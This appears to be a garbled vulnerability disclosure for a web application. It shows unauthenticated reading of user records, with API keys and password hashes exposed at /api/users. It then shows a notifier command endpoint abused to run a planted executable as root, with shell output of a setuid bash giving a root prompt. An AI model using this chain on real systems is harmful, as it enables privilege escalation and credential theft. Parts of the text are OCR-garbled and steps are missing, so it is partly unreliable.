Local privesc through command execution in the application

It is possible to execute privilege escalation in the operating system using a low privilege user in the application, or to read users in an unauthenticated manner.

Create an executable in a directory where writing is enabled:

Read the users at the /api/users endpoint in an unauthenticated manner:

```
Request
| Party | Raw | Nex | Nex | Nex | Nex | Nex | Next | Nex
```

```
{"admin":true,"api_key":"4d97d8d50fc1ba42b40fdb2f35343a1eda2deca0ca4f5659a38
36280ed83f183","created_at":"2024-01-
20T02:32:34.5464903Z","email":"admin@test.com","id":1,"password":"$2a$14$Qlm
04EJPCSZkS0HsN1ktwebPYcgWmNzeE6JMt./7nv02C1HUvlG2.","scopes":"admin","token"
:"","updated_at":"2024-01-20T02:35:03.189678196Z","username":"admin"},

{"admin":false,"api_key":"43698f84e14b2838c4e2579043d45893c6a8591103833286c4
5b7690102b6192","created_at":"2024-01-
20T02:35:26.209608879Z","email":"newuser@test.com","id":2,"password":"$2a$14
```

```
$PToKRtbX/RJaKL.JQRI/G.4ppuPhKFw4dh2D1DYYN8lZz7877FJtC","token":"","updated_
at":"2024-01-20T02:35:26.209608879Z","username":"NewUser"},
{"admin":true,"api_key":"179921c10e92b3f6144672ed1fef1447e02bffef80f3616194e
f91d33915c455","created_at":"2024-01-
20T02:40:29.887860147Z","email":"hacker@test.com","id":3,"password":"$2a$14$
LU82gBmee8.RBTKEX9v0o.Tf6PcFGbb3zYfWyhYKkCVcyN3atuifu","token":"","updated_a
t":"2024-01-20T02:40:29.887860147Z","username":"hacker"}
```

Send a POST to the route /api/notifier/command with the user's token (here I used a non-privileged user to show that it's possible to use it, without using an admin)

43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192 . Add in the body the path to the executable, in the success_data field (it can also be the failure_data):

Send a POST to the route /api/notifier/command/test using the user's API token (here I used a non-privileged user to show that it's possible to use it, without using an admin) 43698f84e14b2838c4e2579043d45893c6a8591103833286c45b7690102b6192. In this step, if you used success, you will have to send it in the method; if it was failure, then it should be used:

```
| Petty | Raw | Hex | Hex | Render | Petty | Raw | Hex | Render | Petty | Raw | Hex | Render | Render
```

```
{"notifier":{"method":"command"},"method":"success"}
```

Thus, the user who is running the application (in my case, root), will execute the xpl created earlier, and it will be possible to generate a privileged shell (/bin/bash). Here executing this shell:

```
(ev3rr3d® kali)-[/tmp]
$\$ ls -la newbash
-rwsr-sr-x 1 root root 1277936 jan 19 23:44 newbash

(ev3rr3d® kali)-[/tmp]
$\$ ./newbash -p
newbash-5.2# whoami
root
```

At this stage, an attacker could use various types of executables, such as a reverse shell, a RAT, a persistence script, etc